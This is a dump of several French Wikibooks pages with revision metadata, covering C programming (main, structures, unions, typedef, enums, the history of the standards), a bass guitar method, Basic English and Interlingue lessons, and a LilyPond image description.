inline</code>, un bon compilateur devrait suprimer toute trace de la fonction et seulement la mettre ''in extenso'' aux endroits où elle est utilisée. Ceci permettrait à la limite de déclarer la fonction dans un fichier en-tête, bien qu'il s'agisse d'une pratique assez rare et donc à éviter. ==La fonction main== Nous allons revenir ici sur la fonction <code>main</code>, présente dans chaque programme. Cette fonction est le point d'entrée du programme. La norme définit deux prototypes, qui sont donc portables&nbsp;: <pre> int main(int argc, char** argv) { /* ... */ } int main(void) { /* ... */ } </pre> Le premier prototype est plus "général"&nbsp;: il permet de récupérer des paramètres au programme. Le deuxième existe pour des raisons de simplicité, quand on ne veut pas traiter ces arguments. ===Paramètres de ligne de commande=== La fonction <code>main</code> prend deux paramètres qui permettent d'accéder aux paramètres passés au programme lors de son appel. Le premier, généralement appelé <code>argc</code> (''argument count''), est le nombre de paramètres qui ont été passés au programme. Le second, <code>argv</code> (''argument vector''), est la liste de ces paramètres. Les paramètres sont stockés sous forme de chaîne de caractères, <code>argv</code> est donc un tableau de chaîne de caractères, ou un pointeur sur un pointeur sur <code>char</code>. <code>argc</code> correspond au nombre d'éléments de ce tableau. Les paramètres passés au programme sont séparés par un ou plusieurs espaces. Le premier élément de <code>argv</code> désigne le nom du programme. Le premier paramètre commence donc à <code>argv[1]</code>. Le dernier paramètre, <code>argv[argc]</code>, désigne le pointeur nul. ===Valeur de retour=== La fonction <code>main</code> retourne toujours une valeur de type entier. L'usage veut qu'on retourne 0 (ou <code>EXIT_SUCCESS</code>) si le programme s'est déroulé correctement, ou <code>EXIT_FAILURE</code> pour indiquer qu'il y a eu une erreur (Les macros <code>EXIT_SUCCESS</code> et <code>EXIT_FAILURE</code> étant définies dans l'en-tête <code>stdlib.h</code>). Il est possible par le programme appelant de récupérer ce code de retour, et de l'interpréter comme bon lui semble. ===Exemple=== Voici un petit programme très simple qui affiche la liste des paramètres passés au programme lorsqu'il est appelé : <pre> #include <stdio.h> int main( int argc, char **argv ) { int i; for( i = 0; i < argc; i++ ) printf( "paramètre %i : %s\n", i, argv[i] ); return 0; } </pre> On effectue une boucle sur <code>argv</code> à l'aide de <code>argc</code>. Enregistrez-le sous le nom <code>params.c</code> puis compilez-le (<code>cc params.c -o params</code>). Vous pouvez ensuite l'appeler ainsi : <pre> ./params hello world ! # sous Unix params.exe hello world ! # sous MS-DOS ou Windows </pre> Vous devriez voir en sortie quelque chose comme ceci (''paramètre 0'' varie selon le système d'exploitation) : <pre> paramètre 0 : ./params paramètre 1 : hello paramètre 2 : world paramètre 3 : ! </pre> ==Ancienne notation== À titre anecdoctique, ceci est la façon historique de définir une fonction, avant que le prototypage ne fut utilisé. Cette notation est à éviter dans la mesure du possible. <pre> type_retour fonction( par1, par2, ..., parN ) type1 par1; type2 par2; ... typeN parN; { /* Déclarations de variables ... */ /* Instructions ... */ } </pre> Au lieu de déclarer les types à l'intérieur même de la fonction, ils sont simplement décrit après la fonction et avant la première accolade ouvrante. À noter que <code>type_retour</code> ''pouvait'' être omis, et dans ce cas valait par défaut <code>int</code>. On pouvait aussi omettre la moindre déclaration de paramètre et dans ce cas la fonction pouvait être appelé avec n'importe quel type et n'importe quel nombre d'arguments, sans que le compilateur n'émette le moindre avertissement. Cette construction étant plutôt dangeureuse, on évitera de s'étaler davantage. Programmation C Types avancés 465 44237 2006-06-09T15:37:55Z Tpierron 79 Déplacement vers préprocesseur {{Programmation C}} ==Structures== <pre> struct ma_structure { type1 champ1; type2 champ2; ... typeN champN; } var1, var2, ..., varM; </pre> Déclare une structure (ou enregistrement) ''ma_structure'' composé de N champs, ''champ1'' de type ''type1'', ''champ2'' de type ''type2'', etc. On déclare, par la même occasion, M variables de type ''struct ma_structure''. ===Accès aux champs=== L'accès aux champs d'une structure se fait avec un point : <pre> struct complexe { int reel; int imaginaire; } c; c.reel = 1; c.imaginaire = 2; </pre> ===Initialisation=== Il y a plusieurs façons d'initialiser une variable de type structure : #En initialisant les champs un à un :<br><code>struct { char ch; int nb; float pi; } variable;<br><br>variable.ch = 'a';<br>variable.nb = 12345;<br>variable.pi = 3.141592;</code><br> Cette façon est néanmoins pénible lorsqu'il y a beaucoup de champs. #À la déclaration de la variable :<br><code>struct { char ch; int nb; float pi; } variable = { 'a', 12345, 0.141592 };</code><br> Les valeurs des champs sont assignés dans l'ordre où ils sont déclarés. S'il manque des initialisations, les champs seront initialisés à 0. L'inconvénient c'est qu'on doit connaitre l'ordre où sont déclarés les champs, ce qui peut être tout aussi pénible à retrouver. #Une extension de la norme ISO C99 permet d'initialiser certains champs à la déclaration de la variable, en les nommants :<br><code>struct { char ch; int nb; float pi; } variable = { .pi = 3.141592, .ch = 'a', .nb = 12345 };</code></br> Les champs non initialisés seront mis à zéro. ===Manipulation=== Les structures se manipulent par valeur, comme les types atomiques du langage C et '''contrairement''' aux tableaux. La seule opération prise en charge par le langage est la copie binaire, lors des affectations ou des passages de paramètres à des sous-fontions. Toutes les autres opérations sont à la charge du programmeur, notamment la comparaison d'égalité (C.f section suivante). ===Alignement et bourrage (padding)=== Il s'agit d'un concept relativement avancé, mais qu'il est bien de connaitre pour agir en connaissance de cause. Lorsqu'on déclare une structure, on pourrait naïvement croire que les champs se suivent les uns à la suite des autres en mémoire. Considérez la structure suivante : <pre> struct ma_structure { char champ1; /* 8bits */ int champ2; /* 32bits */ char champ3; /* 8bits */ }; </pre> On pourrait penser que cette structure fasse 6 octets et pourtant sur la majeure partie des compilateurs, pour ne pas dire tous, on obtiendrait une taille de 12 octets. En fait les compilateurs insèrent des octets entre les champs pour pouvoir les aligner sur un adressage pair, ou multiple de 4 ou de 8. C'est en fait une limitation de la plupart des processeurs, qui ne peuvent lire des mots de plus d'un octet que s'ils sont alignés sur un certain adressage. En fait toutes les variables déclarées suivent cette règle : aussi bien les variables locales aux fonctions, les champs de structures, les paramètres de fonctions, etc. Cette quantité de bourrage est en fait non seulement dépendante de l'architecture, mais aussi du compilateur. Ce dernier possède en général des options qui permettent de paramétrer avec quelle finesse se fera l'alignement. Ces options sont bien évidemment spécifiques et pas du tout portables. Concernant les structures, le seul cas où on a la garantie de n'avoir aucun bourrage, c'est lorsque les champs sont tous du même type (ou au moins de la même taille). Ce qui revient à déclarer un tableau, en fait. Dans l'exemple précédant, pour avoir une structure « compacte », on aurait pu écrire : <pre> struct ma_structure { char champ1; char champ2[sizeof(int)]; char champ3; }; </pre> L'initialisation du ''champ2'' est néanmoins plus délicate. À noter que l'expression suivante n'est pas portable et pourra provoquer des comportements imprévisibles, bien que syntaxiquement valide et ne générant un avertissement que sur très peu de compilateur : <pre> /* Ce code contient une erreur grossière et volontaire */ struct ma_structure essai; * (int *) essai.champ2 = 12345; </pre> En effet le ''champ2'' de la structure n'étant pas aligné, sur une certaine architecture, l'initialisation peut effectuer un accès illégal à la mémoire et stoppera dans ce cas l'exécution du programme. C'est pour cette raison que la norme ISO C déconseille (interdit) l'usage de conversion dans le membre gauche d'une affectation. Une bonne façon de procéder serait : <pre> struct ma_structure essai; int entier = 12345; memcpy( essai.champ2, &entier, sizeof entier ); </pre> Plus pénible certes, mais nécessaire pour garantir une bonne portabilité. ===Pointeurs vers structures=== Il est (bien entendu) possible de déclarer des variables de type pointeur vers structure : <pre> struct ma_struct * ma_variable; </pre> Comme pour tout pointeur, on doit allouer de la mémoire pour la variable avant de l'utiliser : <pre> ma_variable = (struct ma_struct *) malloc( sizeof(struct ma_struct) ); </pre> L'accès aux champs peut se faire comme pour une variable de type structure « normale » : <pre> (* ma_variable).champ </pre> Ce cas de figure est en fait tellement fréquent, qu'il existe un raccourci pour l'accès aux champs d'un pointeur vers structure : <pre> ma_variable->champ </pre> ==Unions== Une union et un enregistrement se déclarent de manière identique : <pre> union { type1 champ1; type2 champ2; ... typeN champN; } var1, var2, ..., varM; </pre> Toutefois, à la différence d'un enregistrement, les N champs d'une instance de cette union occupent le même emplacement en mémoire. Modifier l'un des champ modifie donc tous les champs de l'union. Typiquement, une union s'utilise lorsqu'un enregistrement peut occuper plusieurs fonctions bien distinctes et que chaque fonction ne requiert pas l'utilisation de tous les champs. L'exemple suivant déclare une structure '''droite''', qui a pour but de coder une droite du plan passant par deux points connus, ou passant par un point et perpendiculaire à une autre droite connue. <pre> struct { int type; union { struct { struct point *p1, *p2; }; struct { struct point *p; struct droite *d; }; }; } droite; </pre> Selon la valeur de type, on ira chercher l'information soit dans p1 et p2, soit dans p et d. ==Définitions de synonymes de types (typedef)== Le langage C offre un mécanisme assez pratique pour définir des synoymes de types. Il s'agit de l'instruction <code>typedef</code>. <pre> typedef un_type synonyme_du_type; </pre> Contrairement au langage à typage fort (comme le C++), le C se base sur les types atomiques pour décider de la compatibilité entre deux types. Dit plus simplement, la définition de nouveaux types est plus un mécanisme d'alias qu'une réelle définition de type. Les deux types sont effectivement parfaitement interchangeable. À la limite on pourrait presque avoir les mêmes fonctionnalités en utlisant le préprocesseur C, bien qu'avec ce dernier vous aurez certainement beaucoup de mal à sortir de tous les pièges qui vous seront tendus. ===Quelques exemples=== <pre> typedef unsigned char octet; typedef double matrice4_4[4][4]; typedef struct ma_structure * ma_struct; typedef void (*gestionnaire_t)( int ); /* Utilisation */ octet nombre = 255; matrice4_4 identite = { {1,0,0,0}, {0,1,0,0}, {0,0,1,0}, {0,0,0,1} }; ma_struct pointeur = NULL; gestionnaire_t fonction = NULL; </pre> Ce mot clé est souvent utilisé conjointement avec la déclaration des structures, pour s'affranchir de devoir écrire à chaque fois le mot clé <code>struct</code>. Elle permet aussi de '''grandement''' simplifier les prototypes de fonctions qui prennent des pointeurs sur des fonctions en argument. Il est conseillé de définir un type synonyme, plutôt que de l'écrire in extenso dans la déclaration du prototype. Considérez les deux déclarations : <pre> /* Déclaration confuse */ void (*fonction(int, void (*)(int)))(int); /* Déclaration claire avec typedef */ typedef void (*handler_t)( int ); handler_t fonction( int, handler_t ); </pre> Les vétérans des systèmes Unix auront reconnu le prototype imbitable de l'appel système <code>signal()</code>, qui permet de rediriger les signaux POSIX. ==Énumérations== <pre> enum nom_enum { val1, val2, ..., valN }; </pre> Les symboles ''val1'', ''val2'', ..., ''valN'' pourront être utilisés littéralement dans la suite du programme. Ces symboles sont en fait remplacés par des entiers lors de la compilation. La numérotation commençant par défaut à 0, s'incrémentant à chaque déclaration. Dans l'exemple ci-dessus, ''val1'' vaudrait 0, ''val2'' 1 et ''valN'' N-1. On peut changer à tout moment la valeur d'un symbole, en affectant au symbole, la valeur '''constante''' voulue (la numérotation recommençant à ce nouvel indice). Par exemple : <pre> enum Booleen { Vrai = 1, Faux = 0 }; /* Pour l'utiliser */ enum Booleen variable = Faux; </pre> Ce qui est assez pénible en fait, puisqu'il faut à chaque fois se souvenir que le type <code>Booleen</code> est dérivé d'une énumération. Il est préférable de simplifier les déclarations, grâce à l'instruction ''typedef'' : <pre> typedef enum { Faux, Vrai } Booleen; /* Pour l'utiliser */ Booleen variable = Faux; </pre> ==Type incomplet== Pour garantir un certain degré d'encapsulation, il peut être intéressant de masquer le contenu d'un type complexe, pour éviter les usages trop « optimisés » de ce type. Pour cela, le langage C permet de déclarer un type sans indiquer explicitement son contenu. <pre> struct ma_structure; /* Plus loin dans le code */ struct ma_structure * nouvelle = alloue_objet(); </pre> Les différents champs de la structure n'étant pas connus, le compilateur ne saura donc pas combien de mémoire allouer. On ne peut donc utiliser les types incomplets qu'en tant que pointeur. C'est pourquoi, il est pratique d'utiliser l'instruction <code>typedef</code> pour alléger les écritures : <pre> typedef struct ma_structure * ma_struct; /* Plus loin dans le code */ ma_struct nouvelle = alloue_objet(); </pre> Cette construction est relativement simple à comprendre, et proche d'une conception objet. À noter que le nouveau type défini par l'instruction <code>typedef</code> peut très bien avoir le même nom que la structure. C'est juste pour éviter les ambiguités, qu'un nom différent a été choisi dans l'exemple. Un autre cas de figure relativement classique, où les types incomplets sont très pratiques, ce sont les structures s'auto-référençant, comme les listes chainées, les arbres, etc. <pre> struct liste { struct liste * suivant; struct liste * precedant; void * element; }; </pre> Ou de manière encore plus tordue, plusieurs types ayant des références croisées : <pre> struct type_a; struct type_b; struct type_a { struct type_a * champ1; struct type_b * champ2; int champ3; }; struct type_b { struct type_a * ref; void * element; }; </pre> MediaWiki:Contributions 468 12177 2004-09-23T11:38:26Z Guillaumito 46 Contributions MediaWiki:Copyrightwarning 469 35125 2006-02-28T16:43:44Z Greudin 1 copié collé depuis Utilisateur:Xavier Combelle/MediaWiki:Copyrightwarning <div class="plainlinks" style="margin-top:1px;border-width:1px;border-style:solid;border-color:#aaaaaa;padding:2px;"> Caractères spéciaux : <charinsert> à À </charinsert> · <charinsert> € é É ê Ê è È </charinsert> · <charinsert> œ Œ </charinsert> · <charinsert> ù Ù </charinsert> · <charinsert> ç Ç </charinsert> · <charinsert> «+» {{+}} </charinsert> · <charinsert> — – ’ | … ~ </charinsert> · <charinsert> ¹ ² ³ ½ </charinsert> </div> <div class="copyrightwarning"> Toutes les contributions à Wikilivres (Wikibooks) sont considérées comme publiées sous les termes de la GNU Free Documentation Licence, une licence de documentation libre (Voir $1 pour plus de détails). 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La zone d'édition supérieure contient le texte tel qu'il est enregistré actuellement dans la base de données. Vos modifications apparaissent dans la zone d'édition inférieure. Vous allez devoir apporter vos modifications au texte existant. Seul le texte de la zone supérieure sera sauvegardé.</b><p> Guitare basse 500 43703 2006-06-01T14:04:09Z 193.52.32.157 /* Techniques main gauche */ ==Préambule== Ce préambule expose quelques remarques importantes sur ce livre. Le livre utilise la notation internationale pour nommer les notes : {| cellspacing="0" cellpadding="5" | style="text-align:right;font-weight:bold;" | nom international || A || B || C || D || E || F || G |- | style="text-align:right;font-weight:bold;" | nom français || La || Si || Do || Ré || Mi || Fa || Sol |} Le livre considère que le lecteur est un joueur droitier. Un joueur gaucher pourra remplacer les termes appropriés pour s'adapter (gauche <--> droite). Tous les exemples/exercices doivent se faire '''avec un métronome'''. Commencez par pratiquer sur un tempo où l'exercice ne pose pas de problèmes et augmentez graduellement. ==Description de l'instrument== Une guitare basse (ou plus simplement « basse ») est composée de trois parties principales : *le corps, sur lequel se trouvent le chevalet, les micros, la prise jack et l'électronique ; *le manche, sur lequel est posée la touche, dans laquelle sont incrustées les frettes ; *la tête, où se trouvent les mécaniques. Une basse « classique » comporte quatre cordes, accordées en E, A, D, G, cependant il existe des basses qui ajoutent une corde supplémentaire (en B), soit plus grave, soit plus aiguë, soit les deux (ce sont alors des basses 6 cordes). Pour la suite, nous considérons seulement le cas des basses 4 cordes. [[image:Basse.png|framed|Schéma d'une touche de basse]] Chaque « case » d'une basse représente un demi-ton, ainsi la première corde (la « grosse » corde) donne un E à vide, un F en case 1, un F# en case 2, un G en case 3, etc. On peut remarquer que la case 5 de la première corde donne donc un A, c'est le même A que celui donné par la deuxième corde à vide. Cela est généralisable aux autres cordes, la cinquième case de la deuxième corde donne un D comme la troisième corde à vide, etc. Certaines cases sont repérées par des points pour permettre de se repérer plus rapidement sur le manche, le double point correspond à la douzième case, qui est l'octave de la corde à vide. ==Gammes== Jouer ses gammes est non seulement bon pour les apprendre mais aussi parce que cela constitue un bon échauffement. Essayez de les jouer en faisant attention à la position de votre main gauche qui doit rester bien à plat. ===Gamme mineure=== Nous allons commencer par la gamme de A mineur, que nous allons monter et descendre. [[Image:tab_la_mineur.png|800px|Gamme de la mineur]] Vous avez besoin de deux positions de main gauche différentes pour jouer la gamme : *pour les cordes E et A, utilisez l'index pour les cases 5, l'annulaire pour les 7 et l'auriculaire pour les 8, cette position est assez comfortable, essayez de bien maintenir le majeur « en l'air » pour qu'il ne vous gène pas ; *pour les cordes D et G, continuez d'utiliser l'index pour les cases 5, utilisez maintenant le majeur pour les 7 et l'auriculaire pour les 9, cette position est plus désagréable, vous allez devoir écarter le majeur de l'index et maintenir l'annulaire « en l'air ». Pour varier un peu les plaisirs et donner un côté plus « musical » aux gammes, on peut les travailler en utilisant des intervalles. Par exemple, on peut monter/descendre la même gamme de A mineur par tierces : [[Image:Tab_lam_tierce.png|800px|Gamme de la mineur]] ===Gamme majeure=== !! ==Techniques main gauche== ===Hammer=== Le ''hammer'' ou hammer-on (marteau en anglais) est une technique consistant à utiliser un doigt de la main gauche pour frapper les cordes. ===Pulling-off=== Le ''pulling-off'' est l'« inverse » du ''hammer'', il consiste à jouer une note en retirant son doigt de la corde (après avoir joué une note). ===Trille=== Une ''trille'' est une succession rapide de ''hammer'' et de ''pulling-off''. ===Bend=== Un ''bend'' consiste à tirer sur une corde après avoir joué une note pour en changer la tonalité. ===Slide=== Un ''slide'' consiste à faire glisser son doigt d'une case à une autre pour donner une impression de glissement de la note. ===Harmoniques=== Pour effectuer une harmonique il suffit d'effectuer une légère pression à la main droite en V - VII - XII - XIX ou XXIV case pour obtenir ce son spécial. Il faut poser le doigt sur la corde juste au dessus de la frette correspondante, exercer une legere pression sans pour autant venir appuyer la corde contre la frette, et jouer. Il n'est pas necessaire de retirer le doigt de la main gauche, si il est bien positionné au dessus de la frette, l'harmonique sonnera. Ces harmoniques ont pour origine la division par la position du doigt en un noeud de vibration spécifique de la corde ainsi la XII frette correspond à la moitié de la longueur de la corde . Image:Basse.png 501 12210 2004-09-24T22:22:10Z Guillaumito 46 schèma d'une touche de basse schèma d'une touche de basse Programmation Mathematica 502 12211 2004-09-25T11:26:06Z 194.167.45.248 Conçu par une équipe animée par Stephen Wolfram, Mathematica est plus qu'un langage de programmation puisqu'il inclut, outre un langage multiparadigme, un système de calcul formel et une bibliothèque de fonctions numériques et graphiques. Néanmoins, son langage multiparadigme basé sur une syntaxe fonctionnelle et un mécanisme d'évaluation transformationnel (à base de règles) justifie de le présenter ici en tant que langage de programmation. Dictionnaire des 850 mots du BASIC English 504 12212 2004-09-25T14:26:51Z 213.54.36.60 Commencez par le commencement! Apprenez d'abord le BASIC English! 1. [[Dictionnaire des 850 mots du BASIC English/A|A]] Dictionnaire des 850 mots du BASIC English/A 507 12213 2004-09-25T14:41:45Z 213.54.36.60 [[Dictionnaire des 850 mots du BASIC English]] '''A''' mus., 6th note in scale of C major (ei). ''mus. (6ième note de la gamme de do majeur'') '''a, an''' a. One, any; the same (''all of a size''); in, to, for, every (''£5 a man''). (ei ("eu"), "eu"n). ''un, l'un de; le même (tous d'un même format); en, à, pour chaque (£5 par personne).'' Basic English 508 42794 2006-05-19T06:41:50Z Mly 1518 {{ébauche}} Introduction provisoire : Le [[w:anglais basic|Basic English]] est une langue basé sur l'anglais (respectant toutes les régles de l'anglais) sur 850 mots. '''''Il n'y aura volontairement aucune traduction en français sur cette page.''''' == Word List == 850 mots pour s'exprimer en anglais. *[[Word List]] *[[Word List - Alphabetic]] *[[Word List - Categories]] *[[Words in Pictures]] Enseignement de l'interlingue (occidental) 509 29925 2006-01-23T12:09:56Z Boly38 136 interlingue ? +cat Langue [[Sélection des leçons d'enseignement de l'interlingue (occidental)|Sauter l'introduction]] [[:ie:Págine Cardinal|Wikibooks en interlingue (occidental)]] '''Introduction''' Apprenez l'interlingue (occidental) ! C'est une langue très simple. En apprenant l'interlingue (occidental), vous vous mettez en position de pouvoir écrire à des milliards d'individus parlant l'une des langues occidentales, donc considérablement plus que toutes les autres langues existantes, sans que ces gens ne soient obligés d'apprendre l'interlingue (occidental) eux-mêmes. Qu'ils parlent allemand, anglais, espagnol, hollandais, italien, portugais, roumain ou suédois, ils vous comprendront. Qu'ils vivent en Afrique, en Amérique, en Asie, en Europe ou en Océanie, ils vous comprendront s'ils parlent une langue occidentale. Le regrettable passé colonial fait que ces langues sont répandues dans d'innombrables pays non anglophones ou peu anglophones, les anglophones comprenant tout aussi bien l'interlingue (occidental) eux-mêmes. Aucune autre langue ne vous permet de vous adresser à un tel auditoire! Il est le double de l'anglais, considérablement plus que celui de l'espagnol, et des milliers de fois plus considérable que celui de l'espéranto! Les slaves et les grecs maîtrisant l'écriture latine comprennent l'interlingue (occidental): l'inventeur de cette langue était lui-même russophone et germanophone de langues maternelles, et passa sa vie en terre baltique. '''Commentaire du professeur Torapmoc''' : il faut quand même rappeler que l'espéranto a des milliers de fois plus de '''vrais''' locuteurs que l'interlingue, dont la mystérieuse capacité d'être immédiatement compréhensible par des «milliards d'individus» devrait rendre suspicieux tous les lecteurs habitués aux exagérations à caractère publicitaire. '''Réponse d'un timide élève au professeur''' : eh, prof, j'ai été voir moi-même des pages d'interlingue, et, c'est vrai, j'ai bien compris tout tout de suite (parfois il faut chercher un mot) ;-) [[Catégorie:Langue|Interlingue]] Sélection des leçons d'enseignement de l'interlingue (occidental) 510 17480 2005-07-24T16:55:17Z Oui 428 [http://ie.wikibooks.org/wiki/Resume_de_gramatica_de_interlingue_%28occidental%29 Grammaire] [[Leçon 1 d'interlingue pour les francophones | Leçon 1]] Programmation C Introduction 513 46019 2006-06-27T10:11:15Z Alveric 1610 /* Normalisation */ Précisions sur la norme C, et cadrage du livre {{Programmation C}} ==Historique== === Naissance === Le langage C a été inventé aux Bells Labs en 1972 par [[w:fr:Dennis Ritchie|Dennis Ritchie]] pour permettre l'écriture du [[w:fr:Système d'exploitation|système d'exploitation]] [[w:fr:UNIX|UNIX]], alors développé par [[w:fr:Kenneth Thompson|Ken Thompson]] et Dennis Ritchie. Le système d'exploitation UNIX, né à la fin des années 1960 - début des années 1970, a été écrit directement en langage assembleur pour les machines auxquelles il était destiné. Si le langage assembleur permettait d'écrire un tel système, il n'en était pas moins peu aisé à utiliser. Un tel langage est en effet particulier à un type de processeur, ce qui fait que tout le système devait être réécrit pour le faire fonctionner sur une nouvelle architecture. Celà fait que son principal créateur, Ken Thompson, souhaita rapidement utiliser un langage plus évolué pour récrire UNIX. Parmi les langages disponibles à l'époques BCPL (pour ''Basic Combined Programming Language'', qui est une simplification de CPL), créé par Martin Richards en 1966, était intéressant. Sans entrer dans des descriptions détaillées, BCPL est un langage simple, procédural, et non typé. Un des ses avantages, important à l'époque, est qu'on pouvait créer des compilateurs simples sur les machines de l'époque, où les ressources étaient très limitées. Ken Thompson l'a fait évoluer pour concevoir le [[w:fr:B (langage)|langage B]], qu'il a implémenté sur les premières machines UNIX. Cependant, certaine limitations du langage B ont fait qu'UNIX n'a pu être réécrit dans ce langage. À partir de 1971, Dennis Ritchie fit évoluer B, pour répondre à ces problèmes. À l'image des programmeurs qui incrémentent les versions de leurs programmes, Ritchie « incrémenta » la lettre B pour appeler le nouveau langage C. Cette évolution se «&nbsp;stabilisa&nbsp;» vers 1973, année à partir de laquelle UNIX et les utilitaires systèmes d'UNIX ont été réécrits avec succès en C. === Développement === Par la suite en 1978, [[w:fr:Brian Kernighan|Brian W. Kernighan]] documenta très activement le langage, pour finalement publier avec Ritchie le livre de référence ''The C Programming Language''. On appelle K&amp;R C le langage tel que spécifié dans la première édition de ce livre. Dans les années qui suivirent, le langage C fut porté sur de nombreuses autres machines, au début à partir du compilateur ''pcc'' de Steve Johnson, mais par la suite des compilateurs originaux furent développés indépendement. Durant ces années, chaque compilateur C fut écrit en suivant les spécifications du livre K&R, mais certains ajoutaient des ''extensions'', comme des types de données ou des fonctions supplémentaires, ou interprétaient différemment certaines parties des spécifications. À cause de celà, il fut de moins en moins facile d'écrire des programmes en C qui puissent fonctionner tels quels sur un grand nombre d'architectures. === Normalisation === Pour résoudre ce problème, et ajouter au C des possibilités dont le besoin se faisait sentir (et déjà existantes dans certains compilateurs), en 1989, l'[[w:fr:American National Standards Institute|organisme national de normalisation des USA ]] (ANSI) normalisa le C. Le nom exact de cette norme est '''ANSI X3.159-1989 ''Programming Language C'' ''', mais elle fut (et est toujours) connue sous les dénominations ''ANSI C'' ou ''C89''. Puis l'ANSI soumit cette norme à l'[[w:fr:Organisation internationale de normalisation |Organisation internationale de normalisation ]] (ou ISO), qui l'accepta telle quelle et la publia l'année suivante sous le numéro '''ISO/IEC 9899:1990''' (le document étant connu sous le nom ''ISO C90'', ou ''C90''). Pratiquement tous les compilateurs C existant à ce jour comprennent ces normes. L'ISO publia dans les années qui suivirent deux ensembles de correctifs, et un ''amendement'' pour la gestion des caractères internationaux. Enfin, en 1999, l'organisme ISO proposa une nouvelle norme qui reprenait quelques bonnes idées du langage C++, comme les commentaires de fin de ligne, les macros à nombre variable d'arguments, les déclarations de symboles à n'importe quel endroit et le mot clé <code>inline</code> pour pallier la précarité des macros. Il ajouta aussi le type <code>long long</code> d'une taille minimale de 64 bits, l'initialisation des structures avec des champs nommés, parmi les modifications les plus visibles. Le nouveau document est '''ISO/IEC 9899:1999''', connu sous le sigle ''C99''. Deux ensembles de correctifs ont été publiés jusqu'à présents. Cependant, il est à noter que, si la norme C89 a été largement adoptée par les éditeurs de compilateurs C, au point que quasiment tous les compilateurs existant maintenant sont conformes à cette norme, très peu implémentent la version C99. La norme C spécifie la syntaxe du langage ainsi qu'une bibliothèque de fonctions simple. Cette bibliothèque est moins fournie que dans d'autres langages, mais cela est dû au domaine d'utilisation très varié de ce langage. En particulier, pour assurer une portabilité maximale du langage entre les implémentations embarquées, les ordinateurs de type PC et les supercalculateurs (par exemple), certaines fonctions n'ont pas été acceptées dans la norme. On peut citer, entre autres, la programmation parallèle, les communications entre processus, la communication réseau ou les interfaces graphiques... Celà fait qu'en parallèle de cette normalisation du langage C, certaines extensions ont elles aussi été standardisées, voire normalisées. Ainsi, par exemple, des fonctions spécifiques aux systèmes UNIX, sur lesquels ce langage est très populaire, et qui n'ont pas été intégrées dans la norme du langage C, ont servi à définir une partie de la norme [[w:POSIX|POSIX]]. Dans ce livre, nous étudierons surtout le langage C tel que défini dans les normes ISO citées au-dessus. La norme C99 n'étant pas implémentée par tous les compilateurs, et beaucoup de programmes existants étant développés en C90, les différences entre les deux normes seront indiquées à chaque fois que nécessaire. Toutefois, nous illustrerons certains chapitres avec des exemples d'extensions courantes qu'un développeur C peut rencontrer, en particulier concernant les fonctions qui ne sont pas fournies par la norme C elle-même. Avec son approche bas-niveau, le C permet d'obtenir des programmes très optimisés, pratiquement autant que s'ils avaient été écrits directement en assembleur. Avec un peu d'effort, il est même possible d'utiliser une approche orientée objet, au prix d'une certaine rigueur que le langage, et dans une certaine mesure les compilateurs, sont très loin d'imposer. == Pourquoi apprendre le langage C ? == *Les systèmes d'exploitation pour ordinateur de bureau les plus répandus actuellement sont Windows de Microsoft, Mac OS X d'Apple, et GNU/Linux. Ils sont tous trois écrits en langage C. Pourquoi ? Parce que les systèmes d'exploitation tournent directement au dessus du matériel de la machine. Il n'y a pas de couche plus basse pour gérer leurs requêtes. À l'origine, les systèmes d'exploitation étaient écrits en assembleur, ce qui les rendait rapides et performants. Toutefois, écrire un OS en assembleur est une tâche pénible et cela produit du code qui ne peut s'exécuter que sur une seule architecture processeur, comme l'Intel X86 ou l'AMD 64. Écrire un OS dans un langage de plus haut niveau, comme le langage C, permet au programmeur de porter son système d'exploitation sur une autre architecture sans avoir à tout réécrire. [[Image:Ken n dennis.jpg|right|300px|thumb|Kenneth Thompson (à gauche) et Dennis Ritchie (à droite), les créateurs du langage C]] *Mais pourquoi utiliser le C et pas le langage Java, le langage Basic ou le langage Perl ? Principalement à cause de la gestion de la mémoire. À la différence de la plupart des autres langages de programmation, le langage C permet au programmeur de gérer la mémoire de la manière qu'il aurait choisie s'il avait utilisé l'assembleur. Les langages comme le Java et le Perl permettent au programmeur de ne pas avoir à se soucier de l'allocation de la mémoire et des pointeurs. C'est en général un point positif. C'est assez pénible de se soucier de la gestion de la mémoire lorsqu'on écrit un programme de haut niveau comme un rapport sur les résultats trimestriels. *Cependant lorsqu'on parle d'écrire un programme de bas niveau comme la partie du système d'exploitation qui s'occupe d'envoyer la chaîne d'octets correspondant à notre rapport trimestriel depuis la mémoire de l'ordinateur vers le ''buffer'' de la carte réseau afin de l'envoyer vers une imprimante réseau, avoir un accès direct à la mémoire est fondamental — ce qui est impossible à faire dans un langage comme Java par exemple. Le compilateur C produit de plus un code rapide et performant. *Est-ce vraiment si merveilleux que le langage C soit un langage si répandu ? Par effet domino, la génération suivante de programmes suit la tendance de ses ancêtres. Les systèmes d'exploitation écrits en C ont toujours des librairies écrites en C. Ces bibliothèques système sont à leur tour utilisées pour écrire des bibliothèques de plus haut niveau (comme OpenGL ou GTK) et le programmeur de ces bibliothèques décide souvent d'utiliser le même langage que celui utilisé par ces bibliothèques système. Les développeurs d'applications utilisent ces bibliothèques de haut niveau pour écrire des traitements de texte, des jeux, les lecteurs multimédia, etc... La plupart d'entre eux choisiront d'utiliser pour leur programme le même langage que les bibliothèques de haut niveau. Et le schéma se reproduit à l'infini... == Liens externes == *[http://home.infomaniak.ch/mongenet/Marc/Articles/C/ Historique de C] *[http://cm.bell-labs.com/cm/cs/who/dmr/chist.html The Development of the C Language] par Dennis Ritchie (en anglais). *[http://www.open-std.org/jtc1/sc22/wg14/ Le site du groupe de travail au sein de l'ISO qui définit la norme C] (en anglais). Image:Tab la mineur.png 514 12219 2004-09-26T15:30:55Z Guillaumito 46 explication sur le fichier Tablature d'une montée et descente de la gamme de la mineur Ce png a été produit grace à [http://lilypond.org/web/ Lilypond], voici le code source du fichier : <pre> \score { \context TabStaff << \set TabStaff.stringTunings = #'(-5 -10 -15 -20) \notes { a,8\4 b,\4 c\4 d\3 e\3 f\3 g\2 a\2 b\2 c'\1 d'\1 e'\1 e'\1 d'\1c'\1 b\2 a\2 g\2 f\3 e\3 d\3 c\4 b,\4 a,\4 } >> } </pre> Le code source a été compilé sous GNU/Linux avec ''lilypond (GNU LilyPond) 2.2.6'', avec la ligne commande : <pre> lilypond-bin tab_ma_mineur.ly </pre> Le fichier <code>.tex</code> produit a ensuite été compilé avec ''LaTeX'' et convertit en PostScript avec ''dvips'' : <pre> latex tab_la_mineur.tex && dvips tab_la_mineur.dvi -o tab_la_mineur.ps </pre> Les parties inutiles ont étés supprimé et le fichier transformé en png avec [http://www.imagemagick.org/ 